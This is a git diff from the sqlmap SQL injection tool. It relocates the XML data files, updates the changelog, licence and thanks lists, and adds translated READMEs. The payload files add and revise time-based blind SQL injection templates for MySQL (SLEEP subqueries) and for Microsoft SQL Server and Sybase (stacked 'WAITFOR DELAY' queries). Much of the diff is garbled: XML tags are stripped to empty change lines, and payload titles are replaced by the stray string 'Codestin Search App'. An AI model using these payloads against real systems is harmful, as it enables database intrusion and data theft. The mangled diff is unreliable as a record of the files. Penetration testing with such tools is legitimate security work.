rename to data/xml/banner/mysql.xml
index b637ebb92e2..863764807f2 100644
--- a/xml/banner/mysql.xml
+++ b/data/xml/banner/mysql.xml
@@ -1,5 +1,10 @@
+
+
@@ -36,19 +41,27 @@
-
+
-
+
-
+
-
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/oracle.xml b/data/xml/banner/oracle.xml
similarity index 100%
rename from xml/banner/oracle.xml
rename to data/xml/banner/oracle.xml
diff --git a/xml/banner/postgresql.xml b/data/xml/banner/postgresql.xml
similarity index 100%
rename from xml/banner/postgresql.xml
rename to data/xml/banner/postgresql.xml
diff --git a/xml/banner/server.xml b/data/xml/banner/server.xml
similarity index 100%
rename from xml/banner/server.xml
rename to data/xml/banner/server.xml
diff --git a/xml/banner/servlet-engine.xml b/data/xml/banner/servlet-engine.xml
similarity index 71%
rename from xml/banner/servlet-engine.xml
rename to data/xml/banner/servlet-engine.xml
index 403f143592c..c34d9617e1b 100644
--- a/xml/banner/servlet-engine.xml
+++ b/data/xml/banner/servlet-engine.xml
@@ -7,6 +7,14 @@
+
+
+
+
+
+
+
+
diff --git a/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml
similarity index 80%
rename from xml/banner/set-cookie.xml
rename to data/xml/banner/set-cookie.xml
index fc454fcaaa0..a9d8143d8b2 100644
--- a/xml/banner/set-cookie.xml
+++ b/data/xml/banner/set-cookie.xml
@@ -27,7 +27,7 @@
-
+
@@ -50,4 +50,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/sharepoint.xml b/data/xml/banner/sharepoint.xml
similarity index 100%
rename from xml/banner/sharepoint.xml
rename to data/xml/banner/sharepoint.xml
diff --git a/xml/banner/x-aspnet-version.xml b/data/xml/banner/x-aspnet-version.xml
similarity index 100%
rename from xml/banner/x-aspnet-version.xml
rename to data/xml/banner/x-aspnet-version.xml
diff --git a/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml
similarity index 83%
rename from xml/banner/x-powered-by.xml
rename to data/xml/banner/x-powered-by.xml
index 64741769c85..f4a058fe886 100644
--- a/xml/banner/x-powered-by.xml
+++ b/data/xml/banner/x-powered-by.xml
@@ -35,8 +35,12 @@
-
-
+
+
+
+
+
+
diff --git a/xml/boundaries.xml b/data/xml/boundaries.xml
similarity index 100%
rename from xml/boundaries.xml
rename to data/xml/boundaries.xml
diff --git a/xml/errors.xml b/data/xml/errors.xml
similarity index 97%
rename from xml/errors.xml
rename to data/xml/errors.xml
index b8c8165dca1..4c330de2126 100644
--- a/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -7,13 +7,14 @@
-
+
+
diff --git a/xml/livetests.xml b/data/xml/livetests.xml
similarity index 91%
rename from xml/livetests.xml
rename to data/xml/livetests.xml
index c6253e14574..b30b9b290b3 100644
--- a/xml/livetests.xml
+++ b/data/xml/livetests.xml
@@ -18,7 +18,7 @@
-
+
@@ -39,7 +39,7 @@
-
+
@@ -62,11 +62,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -82,7 +82,7 @@
-
+
@@ -106,11 +106,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -126,7 +126,7 @@
-
+
@@ -150,11 +150,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -170,7 +170,7 @@
-
+
@@ -194,11 +194,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -213,22 +213,22 @@
-
+
-
-
+
+
-
+
@@ -252,11 +252,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -272,7 +272,7 @@
-
+
@@ -295,10 +295,10 @@
-
+
-
-
+
+
@@ -314,7 +314,7 @@
-
+
@@ -338,10 +338,10 @@
-
+
-
-
+
+
@@ -357,7 +357,7 @@
-
+
@@ -381,10 +381,10 @@
-
+
-
-
+
+
@@ -400,7 +400,7 @@
-
+
@@ -424,10 +424,10 @@
-
+
-
-
+
+
@@ -442,36 +442,36 @@
-
+
-
-
+
+
-
+
-
-
+
+
-
+
@@ -495,10 +495,10 @@
-
+
-
-
+
+
@@ -514,7 +514,7 @@
-
+
@@ -536,11 +536,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -555,7 +555,7 @@
-
+
@@ -578,11 +578,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -598,7 +598,7 @@
-
+
@@ -621,11 +621,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -641,7 +641,7 @@
-
+
@@ -665,11 +665,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -684,22 +684,22 @@
-
+
-
-
+
+
-
+
@@ -722,11 +722,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -742,7 +742,7 @@
-
+
@@ -765,11 +765,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -785,7 +785,7 @@
-
+
@@ -808,7 +808,7 @@
-
+
@@ -818,7 +818,7 @@
-
+
@@ -841,7 +841,7 @@
-
+
@@ -851,7 +851,7 @@
-
+
@@ -873,7 +873,7 @@
-
+
@@ -884,7 +884,7 @@
-
+
@@ -907,7 +907,7 @@
-
+
@@ -917,7 +917,7 @@
-
+
@@ -940,7 +940,7 @@
-
+
@@ -950,7 +950,7 @@
-
+
@@ -972,7 +972,7 @@
-
+
@@ -981,7 +981,7 @@
-
+
@@ -990,7 +990,7 @@
-
+
@@ -3454,25 +3454,25 @@
-
+
-
+
-
+
-
+
@@ -3480,11 +3480,11 @@
-
+
-
+
@@ -3493,12 +3493,12 @@
-
+
-
+
@@ -3507,11 +3507,11 @@
-
+
-
+
@@ -3519,7 +3519,7 @@
-
+
@@ -3544,11 +3544,11 @@
-
-
-
-
-
+
+
+
+
+
@@ -3564,11 +3564,11 @@
-
+
-
+
@@ -3576,11 +3576,11 @@
-
+
-
+
@@ -3588,48 +3588,48 @@
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
diff --git a/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml
similarity index 100%
rename from xml/payloads/boolean_blind.xml
rename to data/xml/payloads/boolean_blind.xml
diff --git a/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
similarity index 100%
rename from xml/payloads/error_based.xml
rename to data/xml/payloads/error_based.xml
diff --git a/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml
similarity index 100%
rename from xml/payloads/inline_query.xml
rename to data/xml/payloads/inline_query.xml
diff --git a/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
similarity index 92%
rename from xml/payloads/stacked_queries.xml
rename to data/xml/payloads/stacked_queries.xml
index 1471df7d057..4b70384beb9 100644
--- a/xml/payloads/stacked_queries.xml
+++ b/data/xml/payloads/stacked_queries.xml
@@ -3,7 +3,7 @@
- Codestin Search App
+ Codestin Search App421
@@ -19,12 +19,12 @@
MySQL
- > 5.0.11
+ >= 5.0.12
- Codestin Search App
+ Codestin Search App431
@@ -39,12 +39,12 @@
MySQL
- > 5.0.11
+ >= 5.0.12
- Codestin Search App
+ Codestin Search App431
@@ -60,12 +60,12 @@
MySQL
- > 5.0.11
+ >= 5.0.12
- Codestin Search App
+ Codestin Search App441
@@ -80,7 +80,7 @@
MySQL
- > 5.0.11
+ >= 5.0.12
@@ -268,6 +268,28 @@
+
+ Codestin Search App
+ 4
+ 2
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+ --
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+ Windows
+
+
+
Codestin Search App4
@@ -289,6 +311,27 @@
+
+ Codestin Search App
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+ Windows
+
+
+
Codestin Search App4
diff --git a/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
similarity index 96%
rename from xml/payloads/time_blind.xml
rename to data/xml/payloads/time_blind.xml
index 6423a8050ab..d9cdb6c8cf3 100644
--- a/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -2,16 +2,18 @@
+
+
- Codestin Search App
+ Codestin Search App5111,2,3,8,91
- AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- AND SLEEP([SLEEPTIME])
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
@@ -23,15 +25,15 @@
- Codestin Search App
+ Codestin Search App5131,2,3,91
- OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- OR SLEEP([SLEEPTIME])
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
@@ -43,16 +45,15 @@
- Codestin Search App
+ Codestin Search App5
- 3
+ 21
- 1,2,3,9
+ 1,2,3,8,91AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])AND SLEEP([SLEEPTIME])
- #
@@ -64,16 +65,15 @@
- Codestin Search App
+ Codestin Search App5
- 3
+ 231,2,3,91OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])OR SLEEP([SLEEPTIME])
- #
@@ -85,15 +85,16 @@
- Codestin Search App
+ Codestin Search App5
- 2
+ 31
- 1,2,3,8,9
+ 1,2,3,91
- AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
- AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ AND SLEEP([SLEEPTIME])
+ #
@@ -105,15 +106,16 @@
- Codestin Search App
+ Codestin Search App5
- 2
+ 331,2,3,91
- OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
- OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ OR SLEEP([SLEEPTIME])
+ #
@@ -131,9 +133,9 @@
11,2,3,91
- AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])#
@@ -152,9 +154,9 @@
31,2,3,91
- OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])#
@@ -167,7 +169,7 @@
- Codestin Search App
+ Codestin Search App522
@@ -182,12 +184,12 @@
MySQL
- <= 5.0.11
+ < 5.0.12
- Codestin Search App
+ Codestin Search App523
@@ -202,12 +204,12 @@
MySQL
- <= 5.0.11
+ < 5.0.12
- Codestin Search App
+ Codestin Search App552
@@ -223,12 +225,12 @@
MySQL
- <= 5.0.11
+ < 5.0.12
- Codestin Search App
+ Codestin Search App553
@@ -244,7 +246,7 @@
MySQL
- <= 5.0.11
+ < 5.0.12
@@ -296,9 +298,9 @@
11,2,3,91
- RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
@@ -316,9 +318,9 @@
11,2,3,91
- RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])#
@@ -1490,9 +1492,9 @@
11,2,3,93
- (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
@@ -1504,7 +1506,7 @@
- Codestin Search App
+ Codestin Search App542
@@ -1519,7 +1521,7 @@
MySQL
- <= 5.0.11
+ < 5.0.12
@@ -1859,7 +1861,7 @@
- Codestin Search App
+ Codestin Search App542
@@ -1874,7 +1876,7 @@
MySQL
- <= 5.0.11
+ < 5.0.12
diff --git a/xml/payloads/union_query.xml b/data/xml/payloads/union_query.xml
similarity index 100%
rename from xml/payloads/union_query.xml
rename to data/xml/payloads/union_query.xml
diff --git a/xml/queries.xml b/data/xml/queries.xml
similarity index 95%
rename from xml/queries.xml
rename to data/xml/queries.xml
index 5c0e5c92169..d2ac995be48 100644
--- a/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -3,7 +3,8 @@
-
+
+
@@ -32,15 +33,21 @@
+
+
-
-
+
+
+
+
+
+
@@ -112,6 +119,10 @@
+
+
+
+
@@ -180,6 +191,10 @@
+
+
+
+
@@ -228,6 +243,9 @@
+
@@ -268,6 +286,10 @@
+
+
+
+
@@ -332,6 +354,7 @@
+
@@ -392,6 +415,7 @@
+
@@ -403,7 +427,7 @@
-
+
@@ -435,6 +459,7 @@
+
@@ -504,6 +529,7 @@
+
@@ -549,6 +575,7 @@
+
@@ -620,6 +647,7 @@
+
@@ -690,6 +718,7 @@
+
@@ -715,7 +744,7 @@
-
+
@@ -753,6 +782,7 @@
+
@@ -825,6 +855,7 @@
+
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 88bbcf56e19..95eb8678ecf 100644
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,3 +1,15 @@
+# Version 1.3 (2019-01-05)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
+
+# Version 1.2 (2018-01-08)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
+
+# Version 1.1 (2017-04-07)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
+
# Version 1.0 (2016-02-27)
* Implemented support for automatic decoding of page content through detected charset.
diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf
deleted file mode 100644
index 0a17b98f32b..00000000000
Binary files a/doc/FAQ.pdf and /dev/null differ
diff --git a/doc/README.pdf b/doc/README.pdf
deleted file mode 100644
index fd5e4f72a95..00000000000
Binary files a/doc/README.pdf and /dev/null differ
diff --git a/doc/THANKS.md b/doc/THANKS.md
index e9eb7456d55..65fbc2fcfa7 100644
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -202,7 +202,7 @@ Tate Hansen,
Mario Heiderich,
Christian Matthies,
Lars H. Strojny,
-* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org
+* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS
Kristian Erik Hermansen,
* for reporting a bug
@@ -764,6 +764,12 @@ ultramegaman,
Vinicius,
* for reporting a minor bug
+virusdefender
+* for contributing WAF scripts safeline.py
+
+w8ay
+* for contributing an implementation for chunked transfer-encoding (switch --chunked)
+
wanglei,
* for reporting a minor bug
diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md
index 2bf01b6ea02..eca318269ac 100644
--- a/doc/THIRD-PARTY.md
+++ b/doc/THIRD-PARTY.md
@@ -2,27 +2,22 @@ This file lists bundled packages and their associated licensing terms.
# BSD
-* The Ansistrm library located under thirdparty/ansistrm/.
+* The `Ansistrm` library located under `thirdparty/ansistrm/`.
Copyright (C) 2010-2012, Vinay Sajip.
-* The Beautiful Soup library located under thirdparty/beautifulsoup/.
+* The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`.
Copyright (C) 2004-2010, Leonard Richardson.
-* The ClientForm library located under thirdparty/clientform/.
+* The `ClientForm` library located under `thirdparty/clientform/`.
Copyright (C) 2002-2007, John J. Lee.
Copyright (C) 2005, Gary Poster.
Copyright (C) 2005, Zope Corporation.
Copyright (C) 1998-2000, Gisle Aas.
-* The Colorama library located under thirdparty/colorama/.
+* The `Colorama` library located under `thirdparty/colorama/`.
Copyright (C) 2013, Jonathan Hartley.
-* The Fcrypt library located under thirdparty/fcrypt/.
+* The `Fcrypt` library located under `thirdparty/fcrypt/`.
Copyright (C) 2000, 2001, 2004 Carey Evans.
-* The Odict library located under thirdparty/odict/.
- Copyright (C) 2005, Nicola Larosa, Michael Foord.
-* The Oset library located under thirdparty/oset/.
- Copyright (C) 2010, BlueDynamics Alliance, Austria.
- Copyright (C) 2009, Raymond Hettinger, and others.
-* The PrettyPrint library located under thirdparty/prettyprint/.
+* The `PrettyPrint` library located under `thirdparty/prettyprint/`.
Copyright (C) 2010, Chris Hall.
-* The SocksiPy library located under thirdparty/socks/.
+* The `SocksiPy` library located under `thirdparty/socks/`.
Copyright (C) 2006, Dan-Haim.
````
@@ -51,17 +46,17 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# LGPL
-* The Chardet library located under thirdparty/chardet/.
+* The `Chardet` library located under `thirdparty/chardet/`.
Copyright (C) 2008, Mark Pilgrim.
-* The Gprof2dot library located under thirdparty/gprof2dot/.
+* The `Gprof2dot` library located under `thirdparty/gprof2dot/`.
Copyright (C) 2008-2009, Jose Fonseca.
-* The KeepAlive library located under thirdparty/keepalive/.
+* The `KeepAlive` library located under `thirdparty/keepalive/`.
Copyright (C) 2002-2003, Michael D. Stenner.
-* The MultipartPost library located under thirdparty/multipart/.
+* The `MultipartPost` library located under `thirdparty/multipart/`.
Copyright (C) 2006, Will Holcomb.
-* The XDot library located under thirdparty/xdot/.
+* The `XDot` library located under `thirdparty/xdot/`
Copyright (C) 2008, Jose Fonseca.
-* The icmpsh tool located under extra/icmpsh/.
+* The `icmpsh` tool located under `extra/icmpsh/`.
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
````
@@ -234,7 +229,7 @@ Library.
# PSF
-* The Magic library located under thirdparty/magic/.
+* The `Magic` library located under `thirdparty/magic/`.
Copyright (C) 2011, Adam Hupp.
````
@@ -279,9 +274,15 @@ be bound by the terms and conditions of this License Agreement.
# MIT
-* The bottle web framework library located under thirdparty/bottle/.
+* The `bottle` web framework library located under `thirdparty/bottle/`.
Copyright (C) 2012, Marcel Hellkamp.
-* The Termcolor library located under thirdparty/termcolor/.
+* The `identYwaf` library located under `thirdparty/identywaf/`.
+ Copyright (C) 2019, Miroslav Stampar.
+* The `ordereddict` library located under `thirdparty/odict/`.
+ Copyright (C) 2009, Raymond Hettinger.
+* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
+ Copyright (C) 2010-2018, Benjamin Peterson.
+* The `Termcolor` library located under `thirdparty/termcolor/`.
Copyright (C) 2008-2011, Volvox Development Team.
````
@@ -308,7 +309,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
# Public domain
-* The PyDes library located under thirdparty/pydes/.
+* The `PyDes` library located under `thirdparty/pydes/`.
Copyleft 2009, Todd Whiteman.
-* The win_inet_pton library located under thirdparty/wininetpton/.
+* The `win_inet_pton` library located under `thirdparty/wininetpton/`.
Copyleft 2014, Ryan Vennell.
diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md
index 79c24538a94..81751dede1f 100644
--- a/doc/translations/README-bg-BG.md
+++ b/doc/translations/README-bg-BG.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
@@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6.x** и **2.7.x** на всички платформи.
+sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
Използване
----
diff --git a/doc/translations/README-de-GER.md b/doc/translations/README-de-GER.md
new file mode 100644
index 00000000000..d0fe5289648
--- /dev/null
+++ b/doc/translations/README-de-GER.md
@@ -0,0 +1,49 @@
+# sqlmap
+
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+
+sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
+
+Screenshots
+---
+
+
+
+Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen.
+
+Installation
+---
+
+[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv.
+
+Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst:
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap funktioniert sofort mit den [Python](http://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
+
+Benutzung
+---
+
+Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl:
+
+ python sqlmap.py -h
+
+Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl:
+
+ python sqlmap.py -hh
+
+Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen.
+
+Links
+---
+
+* Webseite: http://sqlmap.org
+* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
+* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
+* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Demonstrationen: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md
index c874d21496b..403d10f465e 100644
--- a/doc/translations/README-es-MX.md
+++ b/doc/translations/README-es-MX.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) ** 2.6.x** y ** 2.7.x** en cualquier plataforma.
+sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
Uso
---
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md
index c051396304d..83c4884b6d2 100644
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)
+sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](http://www.python.org/download/)
Utilisation
----
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
index 4deee28051d..f06e01c9c41 100644
--- a/doc/translations/README-gr-GR.md
+++ b/doc/translations/README-gr-GR.md
@@ -1,6 +1,6 @@
# sqlmap
-[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
